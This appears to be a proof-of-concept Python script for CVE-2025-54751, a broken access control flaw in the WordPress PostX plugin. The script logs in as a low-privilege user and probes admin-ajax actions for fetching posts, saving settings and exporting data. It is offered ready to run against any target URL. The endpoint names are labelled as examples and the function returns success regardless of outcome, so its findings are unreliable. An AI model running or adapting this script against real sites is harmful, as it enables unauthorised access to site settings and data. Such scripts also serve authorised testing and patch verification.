CVE-2025-54751 | WordPress PostX插件缺失授权漏洞导致越权访问

# CVE-2025-54751 PoC - PostX Plugin Broken Access Control # Target: WordPress site with PostX plugin <= 4.1.36 import requests import sys def check_vulnerability(target_url, username, password): """ Check if the target is vulnerable to CVE-2025-54751 This PoC demonstrates accessing admin functions with low-privilege user """ # Setup session session = requests.Session() # Login as low-privilege user login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f"[*] Logging in as low-privilege user: {username}") response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed") return False print("[+] Login successful") # Try to access PostX admin functionality (requires higher privileges) # Example: Access plugin settings or post management endpoints postx_endpoints = [ '/wp-admin/admin-ajax.php?action=postx_get_posts', '/wp-admin/admin-ajax.php?action=postx_save_settings', '/wp-admin/admin-ajax.php?action=postx_export_data' ] print("[*] Testing PostX admin endpoints with low-privilege session...") for endpoint in postx_endpoints: url = target_url + endpoint try: response = session.get(url, timeout=10) # If we get a 200 response instead of 403/401, vulnerability exists if response.status_code == 200 and 'error' not in response.text.lower(): print(f"[+] VULNERABLE: {endpoint} accessible with low privileges") print(f" Response preview: {response.text[:200]}...") else: print(f"[-] Protected: {endpoint}") except Exception as e: print(f"[-] Error testing {endpoint}: {e}") return True if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python poc.py <target_url> <username> <password>") print("Example: python poc.py http://example.com subscriber password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] check_vulnerability(target, user, pwd)